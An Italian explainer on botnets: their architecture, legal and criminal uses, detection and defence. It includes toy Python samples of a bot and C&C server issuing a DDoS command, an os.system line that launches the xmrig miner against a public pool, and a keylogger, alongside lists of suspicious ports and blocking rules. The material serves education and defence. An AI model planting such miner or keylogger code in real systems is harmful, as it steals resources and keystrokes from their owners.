Loading...

Approfondimento Tech

Botnet: funzionamento, usi e difese

Scopri cosa sono le botnet, come funzionano, i loro usi legali e criminali, come rilevarle e proteggerti in modo efficace da queste reti.

Botnet sicurezza informatica

Indice dei contenuti

  • Cos’è una botnet
  • Come funziona una botnet
  • Applicazioni legali delle botnet
  • Applicazioni illegali delle botnet
  • Come rilevare una botnet
  • Come difendersi da una botnet

In Cyber security, uno dei termini più temuti ma anche più fraintesi è botnet. Il termine evoca immagini di attacchi hacker coordinati, reti di computer compromessi e malware invisibili che lavorano in silenzio. Ma cos’è esattamente una botnet? E perché può essere utilizzata sia per scopi legali che illegali?

In questo articolo, analizzeremo in profondità il concetto di botnet, il suo funzionamento, i casi d’uso leciti e criminali, come rilevare una botnet attiva all’interno della propria rete e soprattutto come difendersi. Vedremo anche degli esempi pratici, con richiami al codice e strumenti di analisi utilizzati dai professionisti della sicurezza informatica.

Cos’è una botnet

Una botnet è una rete di dispositivi infettati da malware, controllati da remoto da un soggetto centrale chiamato botmaster o herder. Il termine deriva da “robot” e “network”, e descrive alla perfezione la natura automatizzata e distribuita di queste reti.

Ogni singolo dispositivo infettato viene chiamato bot o zombie, poiché agisce secondo comandi esterni, senza che il proprietario ne sia consapevole.

Come nasce una botnet

Il processo di formazione di una botnet può essere suddiviso in varie fasi:

  1. Infezione iniziale – Il malware (spesso un trojan) viene diffuso tramite phishing, drive-by download, vulnerabilità di software o dispositivi IoT esposti.
  2. Connessione al server C&C – Una volta compromesso, il dispositivo si collega a un Command and Control server da cui riceve istruzioni.
  3. Espansione – Alcuni malware botnet sono in grado di auto-propagarsi, infettando altri dispositivi nella stessa rete o su Internet.
  4. Attivazione – Il botmaster può impartire comandi globali a tutta la rete, oppure a segmenti specifici.

Tipi di botnet

Le architetture più comuni includono:

  • Client-Server
    Ogni bot si connette a un server centrale.
  • Peer-to-Peer (P2P)
    Ogni bot può agire anche come nodo per diffondere comandi, senza un singolo punto centrale.
  • Basata su social media
    Alcune botnet moderne utilizzano post su Twitter o messaggi su Telegram come canali C&C.
  • Botnet basate su blockchain
    Utilizzano smart contract per inviare comandi ai bot, rendendo il tracciamento quasi impossibile.

Esempio tecnico: un bot che si connette a un C&C

Ecco un semplice esempio in Python di un bot rudimentale che si connette a un server e riceve un comando.

import socket

def bot_connect():

    host = '192.168.0.100'  # indirizzo IP del C&C

    port = 4444             # porta usata per il comando

    try:

        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:

            s.connect((host, port))

            s.sendall(b'BOT PRONTO')

            data = s.recv(1024)

            print('Comando ricevuto:', data.decode())

    except Exception as e:

        print('Errore di connessione:', e)

bot_connect()

Ovviamente, una botnet reale include crittografia, meccanismi di persistenza, e tecniche anti-analisi. Il codice sopra serve solo a scopo illustrativo.

Esempi reali

  • Mirai
    Ha sfruttato dispositivi IoT con credenziali di default, infettando milioni di device e causando uno dei più grandi attacchi DDoS del 2016.
  • Emotet
    Nato come trojan bancario, è evoluto in una botnet modulare capace di diffondere ransomware.
  • RustBot
    Una botnet moderna scritta in Rust, progettata per colpire sistemi Windows e Linux con architettura P2P.

Come funziona una botnet

Il funzionamento di una botnet è un processo strutturato e modulare, che consente a un attaccante di controllare migliaia o milioni di dispositivi infetti in modo centralizzato o distribuito. Vediamo le fasi operative principali, gli schemi architetturali e un esempio pratico.

1. Fase di infezione

Tutto parte dall’infezione di uno o più dispositivi, tramite:

  • Email phishing con allegati malevoli (.docm, .exe, .js)
  • Exploit di vulnerabilità (es. EternalBlue per SMBv1)
  • Malware loader scaricati da siti compromessi
  • Backdoor preinstallate su dispositivi IoT con firmware vulnerabile

L’obiettivo è installare sul sistema un payload in grado di collegarsi al server del botmaster.

2. Connessione al server C&C (Command and Control)

Dopo l’infezione, il bot:

  • Si connette a un server C&C per ricevere comandi.
  • Comunica usando HTTP/HTTPS, DNS tunneling, IRC, Telegram, oppure connessioni cifrate TCP/UDP.
  • Invia periodicamente un “heartbeat” (messaggio di stato).
  • Può ricevere comandi specifici (es. “scarica ransomware”, “inizia attacco DDoS”).

In alcune botnet avanzate, il C&C è decentralizzato (P2P), rendendo difficile l’interruzione dell’intera rete.

3. Propagazione (facoltativa)

Molti bot possono auto-replicarsi:

  • Eseguendo scan delle porte sulla rete LAN o Internet.
  • Provando brute force su SSH, RDP, Telnet.
  • Iniettando codice in altri dispositivi IoT o VM.
  • Scaricando nuovi moduli (keylogger, ransomware, stealer).

Questa fase permette alla botnet di espandersi esponenzialmente.

4. Attivazione dei bot

Una volta formato il botnet swarm, il botmaster può inviare comandi a:

  • Tutti i bot (es. DDoS contro un server).
  • Solo alcuni bot (es. rubare credenziali su sistemi Windows).
  • Gruppi geolocalizzati (es. solo device in Europa).

Architetture di botnet

Le architetture determinano come i bot comunicano e ricevono ordini:

a) Client-Server

  • Semplice da realizzare.
  • Il server C&C è il punto debole (se viene chiuso, cade la rete).

b) Peer-to-Peer (P2P)

  • I bot comunicano tra loro, non c’è un unico server.
  • Più resistente ma più complessa da gestire.

c) Social-media C&C

  • I comandi sono inseriti come post su Twitter, messaggi Telegram o video YouTube (nel titolo, nei metadati o nei commenti).
  • Stealth mode: difficile da bloccare senza colpire anche utenti legittimi.

d) Domain Generation Algorithm (DGA)

  • Il malware genera nuovi domini giornalmente (es. kxczq202504.com) per cercare il C&C.
  • Gli analisti non riescono facilmente a prevedere i domini futuri.

Esempio tecnico: bot + C&C minimale in Python

Bot (client)

# bot.py

import socket

def connect_to_cnc():

    server = ('127.0.0.1', 9999)

    try:

        s = socket.socket()

        s.connect(server)

        s.sendall(b'BOT ATTIVO')

        command = s.recv(1024)

        print("Comando ricevuto:", command.decode())

        # qui si potrebbe eseguire un comando pericoloso

    except:

        print("Connessione fallita")

connect_to_cnc()

Server C&C

# cnc.py

import socket

def cnc_server():

    s = socket.socket()

    s.bind(('0.0.0.0', 9999))

    s.listen(5)

    print("C&C in ascolto...")

    conn, addr = s.accept()

    print("Connessione da", addr)

    data = conn.recv(1024)

    print("Ricevuto:", data.decode())

    conn.send(b'esegui ddos http://target.it')

    conn.close()

cnc_server()

Attenzione: questi esempi sono didattici, non vanno usati in ambiente reale.

Esempio reale: Mirai

Mirai infettava dispositivi IoT con Telnet abilitato e credenziali standard (admin:admin). Ogni bot scansionava internet per nuovi device, e poi partecipava ad attacchi DDoS contro obiettivi come Dyn DNS, paralizzando servizi come Twitter, GitHub e Netflix.

Applicazioni legali delle botnet

Sebbene il termine botnet evochi immagini di hacker e attacchi DDoS, in contesti legali si può parlare di reti di agenti software o dispositivi connessi e coordinati da remoto per scopi ben precisi, autorizzati e spesso etici. Ciò che distingue una botnet legale da una illegale è il consenso esplicito dell’utente e la finalità d’uso.

1. Computazione distribuita volontaria

Una delle applicazioni legali più famose è la computazione distribuita, in cui migliaia (o milioni) di dispositivi contribuiscono a un compito computazionale collettivo.

Esempi reali:

  • Folding@home
    Simula il ripiegamento delle proteine per scoprire cure a malattie come il cancro o l’Alzheimer. Chiunque può scaricare il software e contribuire con la propria CPU/GPU.
  • SETI@home
    Progetto (ora chiuso) che analizzava segnali radio per trovare vita extraterrestre, sfruttando i computer dei volontari.
  • BOINC
    Framework open source per creare progetti di computazione distribuita in ambito accademico e scientifico.

In tutti questi casi, gli utenti installano consapevolmente un agente client, che si collega a un server centrale per scaricare un task, elaborarlo e inviare i risultati. A tutti gli effetti, una botnet etica.

2. Simulazioni di carico e resilienza (stress test)

Le aziende IT e i team DevOps usano reti di bot automatizzati per simulare decine di migliaia di utenti reali, testando la scalabilità, la latency e la resilienza delle infrastrutture cloud.

Esempi di tool:

  • Apache JMeter
  • Gatling
  • Locust
  • Artillery

Anche se in forma ridotta, queste architetture replicano il concetto di botnet: più agenti remoti, coordinati da un master o controller, che eseguono operazioni ripetitive su un sistema target.

3. Sicurezza informatica e threat intelligence

Gli analisti di sicurezza possono usare una botnet legale in laboratorio per:

  • Simulare attacchi su una rete virtuale e studiarne il comportamento.
  • Addestrare sistemi SIEM o algoritmi di machine learning per rilevare anomalie.
  • Analizzare malware tramite sandbox distribuite (es. Cuckoo, Any.Run).
  • Condurre red team exercises per testare la resilienza dei sistemi difensivi.

Queste reti controllate vengono chiamate anche honeynet, testbed, o lab botnet, e sono fondamentali per migliorare la difesa dalle vere minacce.

4. IoT e smart automation

In ambienti domotici, industriali o agricoli, una “botnet legale” può includere:

  • Sistemi di irrigazione automatizzati
  • Sensori per il monitoraggio ambientale
  • Robot agricoli o industriali
  • Controller per il riscaldamento e l’illuminazione

Tutti questi dispositivi comunicano con un controller centrale o in rete mesh, ricevendo ed eseguendo comandi: una botnet positiva, pensata per il comfort, la produttività e la sostenibilità.

Esempio tecnico: mini botnet per test legittimi

# client_legit_bot.py

import requests

def simulate_user_task():

    task = requests.get("https://server.myproject.org/gettask").json()

    result = {"client_id": "alpha01", "result": task['data'][::-1]}  # esempio: invertire stringa

    requests.post("https://server.myproject.org/submit", json=result)

simulate_user_task()

Qui ogni bot (volontario) riceve un compito, lo elabora e restituisce il risultato. Il sistema può essere usato per test, simulazioni o ricerche.

Distribuzione di malware

Applicazioni illegali delle botnet

Le botnet illegali vengono impiegate per una vasta gamma di attività criminali, che vanno dal furto di dati agli attacchi DDoS, fino ad arrivare alla distribuzione di malware, frodi pubblicitarie, spionaggio industriale e estorsioni online.

Ciò che rende le botnet così pericolose è la loro scalabilità e resilienza: con un solo comando, un attaccante può attivare decine di migliaia di dispositivi infetti in simultanea, eludendo i controlli di sicurezza e saturando le risorse del bersaglio.

1. Attacchi DDoS (Distributed Denial of Service)

Le botnet sono spesso usate per lanciare attacchi DDoS, in cui migliaia di dispositivi inviano richieste simultanee a un server o sito web, saturando la banda e rendendo il servizio irraggiungibile.

Esempio reale:

  • L’attacco a Dyn DNS (2016), condotto tramite la botnet Mirai, ha bloccato Twitter, Netflix, Reddit e altri grandi servizi. La potenza stimata fu di oltre 1 Tbps.

2. Spam e campagne phishing

Le botnet possono trasformare ogni dispositivo infetto in un server SMTP illegale, capace di inviare milioni di email spam, truffe di phishing e campagne malware.

Obiettivi:

  • Diffusione di trojan bancari (es. Emotet)
  • Furto di credenziali
  • Installazione di ransomware

Spesso queste email contengono allegati .docm, .exe, .zip o link malevoli con exploit drive-by.

3. Click fraud e frodi pubblicitarie

Le botnet generano clic finti su banner pubblicitari per truffare le aziende che pagano per visibilità, gonfiando il traffico e falsando le metriche.

Schema:

  • Ogni bot apre una pagina con pubblicità target.
  • Simula clic e interazioni con JavaScript.
  • Il proprietario del sito guadagna denaro in modo fraudolento.

Questo settore è parte integrante del malvertising.

4. Estrazione illegale di criptovalute (crypto-mining)

Alcune botnet infettano i dispositivi per sfruttare le CPU e GPU nella mining pool di criptovalute, specialmente Monero, che è facilmente minabile in CPU.

Esempio di codice:

import os

os.system("xmrig -o pool.minexmr.com:4444 -u 44affq5... -p x -k")

Uno script simile può essere eseguito in background, consumando risorse e alzando la bolletta elettrica, spesso senza che l’utente se ne accorga.

5. Furto di dati e credenziali

I bot possono contenere moduli di keylogger, screen grabber o cookie stealer per rubare:

  • Dati bancari e carte di credito
  • Password e sessioni di login
  • Documenti riservati o industriali

Le credenziali rubate vengono poi vendute su marketplace del Dark Web.

6. Distribuzione di ransomware

Le botnet servono anche per diffondere ransomware in modo automatizzato, spesso con payload scaricati da un server remoto.

Fasi tipiche:

  1. Infezione iniziale (es. Emotet)
  2. Secondo payload: loader di ransomware (es. Ryuk, Conti)
  3. Cifratura dei file e richiesta di riscatto

7. Spionaggio e attacchi APT (Advanced Persistent Threat)

Botnet complesse e stealth sono usate in contesti di cyberwarfare per:

  • Monitorare e-mail e comunicazioni
  • Prelevare documenti riservati
  • Attivare microfoni e webcam
  • Eseguire sabotaggi industriali

APT28 (Fancy Bear) e APT41 hanno utilizzato botnet per mantenere accesso persistente a reti NATO ed europee.

Esempio tecnico: bot con modulo di keylogging

# Modulo keylogger (semplificato)

import pynput.keyboard

def on_press(key):

    with open("log.txt", "a") as f:

        f.write(str(key) + "\n")

listener = pynput.keyboard.Listener(on_press=on_press)

listener.start()

Questo script cattura i tasti premuti e li salva in locale. In una botnet reale, i log verrebbero cifrati ed esfiltrati verso un server.

Come rilevare una botnet

Rilevare una botnet è una sfida complessa, perché i dispositivi infetti possono agire in modo silente, evitando di compromettere le funzionalità del sistema.

Le botnet più moderne impiegano offuscamento, crittografia, tecniche anti-analisi e connessioni stealth. Tuttavia, esistono numerosi indicatori di compromissione (IoC) e strumenti avanzati che permettono di identificare anomalie sospette nella rete o nei sistemi.

1. Segnali di compromissione (IoC)

Ecco alcuni sintomi comuni della presenza di una botnet in un sistema:

  • Elevato consumo di CPU o banda senza apparente motivo
  • Processi sospetti in esecuzione (es. svchost.exe modificato)
  • Connessioni verso IP non noti o server localizzati in paesi a rischio
  • Invio di email non autorizzate dal proprio account
  • Blocco improvviso di antivirus e firewall
  • File di log con timestamp ripetuti o interazioni non spiegabili
  • Tentativi di connessione su porte non usuali (es. 6667 IRC, 1337 TCP)

2. Analisi del traffico di rete

Una delle tecniche più efficaci è il monitoraggio continuo del traffico di rete tramite strumenti IDS/IPS.

Tool consigliati:

  • Wireshark – per analisi pcap e sessioni live
  • Zeek (ex Bro) – framework potente per traffico su larga scala
  • Suricata – IDS/IPS open source per rilevamento in tempo reale
  • tcpdump – utile per ambienti server e script automatici

Esempio: rilevare traffico sospetto con Zeek

zeek -r traffic.pcap

Zeek analizza il file .pcap e genera report dettagliati su DNS, connessioni, protocolli anomali.

Esempio: analizzare IP sospetti con Wireshark

Filtra il traffico:

ip.dst == 185.234.219.167

oppure filtra DNS esfiltration:

dns.qry.name contains ".xyz"

3. Log analysis e correlazione eventi

Un approccio fondamentale è quello basato sulla correlazione dei log da:

  • Firewall (es. pfSense, Cisco)
  • Router e access point
  • Antivirus e antimalware
  • SIEM (Security Information and Event Management)

Tool utili:

  • Graylog, Splunk, ELK Stack (Elasticsearch + Logstash + Kibana)
  • Sysmon + Windows Event Viewer
  • Auditd per sistemi Linux

Un log sospetto può mostrare, ad esempio, connessioni notturne verso indirizzi in Asia, o script PowerShell eseguiti da utenti non privilegiati.

4. Comportamento anomalo dei processi

Con strumenti come Process Explorer o Autoruns puoi identificare:

  • Esecuzioni da percorsi insoliti (C:\Temp\ o %APPDATA%)
  • Processi figli generati in modo anomalo
  • Chiavi di registro persistenti che riattivano il malware

5. Analisi automatica con sandbox

Per analizzare un sospetto eseguibile puoi usare:

  • Cuckoo Sandbox
  • Any.Run
  • Joe Sandbox
  • Hybrid Analysis

Questi strumenti permettono di isolare e osservare il comportamento del malware, compresi i tentativi di connessione al C&C.

6. Script Python per rilevamento pattern di rete

import psutil

import socket

suspicious_ports = [6667, 1337, 23, 445, 5555]

for conn in psutil.net_connections(kind='inet'):

    if conn.status == 'ESTABLISHED':

        ip, port = conn.raddr

        if port in suspicious_ports:

            print(f"[!] Connessione sospetta trovata: {ip}:{port}")

Questo script individua connessioni attive su porte sospette, spesso usate da botnet.

7. Threat intelligence e black list

Integrare il monitoraggio con fonti OSINT come:

  • AbuseIPDB
  • VirusTotal API
  • MalwareBazaar
  • AlienVault OTX

può aiutarti a confrontare IP sospetti e file eseguibili con database di minacce noti.

Come difendersi da una botnet

Difendersi da una botnet non significa solo rimuovere il malware da un dispositivo infetto, ma mettere in atto una strategia di sicurezza multilivello che include:

  • Prevenzione dell’infezione
  • Rilevamento tempestivo
  • Isolamento e contenimento
  • Ripristino e bonifica
  • Protezione proattiva e resilienza

Vediamo nel dettaglio tutte queste fasi con esempi pratici.

1. Prevenzione dell’infezione

La prima linea di difesa è evitare l’infezione attraverso tecniche di cyber hygiene:

a) Aggiornamenti costanti

  • Mantieni sempre aggiornati sistemi operativi, firmware e software.
  • I dispositivi IoT sono spesso trascurati: cambia le credenziali di default e disattiva servizi inutili (es. Telnet, UPnP).

b) Uso di antivirus e antimalware affidabili

  • Soluzioni consigliate: Kaspersky, ESET, Bitdefender, Malwarebytes.
  • Attiva le opzioni di protezione in tempo reale e scansioni programmate.

c) Firewall perimetrali e locali

  • Usa firewall personali e firewall aziendali con DPI (Deep Packet Inspection).
  • Blocca il traffico su porte non necessarie (es. 6667, 23, 135, 445).

d) Educazione alla sicurezza

  • Forma gli utenti sull’uso sicuro della posta elettronica, navigazione e dispositivi USB.
  • Esempio: phishing simulation con strumenti come GoPhish.

2. Monitoraggio e rilevamento

Un’infezione può essere evitata se si intercetta l’attività della botnet in tempo reale.

a) IDS/IPS

  • Installa strumenti come Suricata o Snort per monitorare la rete.
  • Esempio regola Snort per DDoS ICMP:

alert icmp any any -> any any (msg:”Possible ICMP flood”; dsize: >800; sid:1000001;)

b) SIEM + log centralizzati

  • Implementa sistemi di analisi log centralizzati (es. ELK Stack o Graylog).
  • Crea alert per eventi sospetti: connessioni notturne, processi PowerShell, accessi multipli da IP esterni.

3. Contenimento e isolamento

Se un host è sospetto:

  • Isolalo dalla rete immediatamente (segregazione VLAN o disconnessione fisica).
  • Disabilita tutte le interfacce remote: RDP, SSH, VNC.
  • Blocca il traffico in uscita verso IP identificati come C&C (tramite firewall, proxy o DNS sinkhole).

4. Rimozione e bonifica

  • Esegui scansioni complete offline con un Live CD di sicurezza (es. Kaspersky Rescue Disk).
  • Controlla ed elimina le chiavi di registro di persistenza (Autoruns può aiutarti).
  • In ambienti compromessi a livello root/bootloader, reinstalla il sistema da zero.

5. Difesa avanzata e resilienza

a) Network segmentation

  • Separa la rete in zone logiche (es. LAN utente, server, IoT).
  • Limita la comunicazione tra VLAN con regole ACL.

b) Zero Trust Architecture

  • Ogni richiesta deve essere autenticata, anche all’interno della rete.
  • Usa strumenti come Okta, Azure AD, Open Policy Agent (OPA).

c) Threat intelligence e blocco automatico

  • Integra fonti OSINT come AbuseIPDB, AlienVault OTX, ThreatFox.
  • Automatizza il blocco di IP malevoli tramite script o API nei firewall.

Esempio di script Python per blocco IP malevoli

import requests

import subprocess

def fetch_bad_ips():

    data = requests.get("https://feodotracker.abuse.ch/downloads/ipblocklist.txt").text

    return [line for line in data.splitlines() if not line.startswith('#')]

for ip in fetch_bad_ips():

    subprocess.run(["iptables", "-A", "OUTPUT", "-d", ip, "-j", "DROP"])

Domande e risposte

  1. Cos’è una botnet in parole semplici?
    Una rete di dispositivi infetti controllati da un hacker per compiere attività malevole.
  2. Quali dispositivi possono far parte di una botnet?
    Computer, smartphone, router, videocamere IP, smart TV e altri dispositivi connessi a Internet.
  3. Una botnet può essere usata legalmente?
    Sì, se tutti i dispositivi sono consenzienti, come nei progetti scientifici distribuiti.
  4. Come avviene l’infezione da botnet?
    Attraverso malware diffusi via email, exploit, siti compromessi o file infetti.
  5. Cosa fa un server di Command and Control (C&C)?
    Coordina i bot infetti impartendo loro comandi da eseguire.
  6. Come posso capire se il mio PC è parte di una botnet?
    Segnali comuni sono rallentamenti, traffico di rete insolito e invio di email non autorizzate.
  7. Posso rimuovere un bot da solo?
    Sì, con strumenti antivirus, ma in casi complessi è meglio consultare un esperto.
  8. Cosa succede se il mio router è infetto?
    Può essere usato per attacchi DDoS o per infettare altri dispositivi nella tua rete.
  9. Le botnet sono sempre attive?
    No, possono rimanere in “standby” fino a ricevere un comando dal botmaster.
  10. Qual è la botnet più pericolosa mai scoperta?
    Mirai, usata per lanciare uno dei più grandi attacchi DDoS della storia.
To top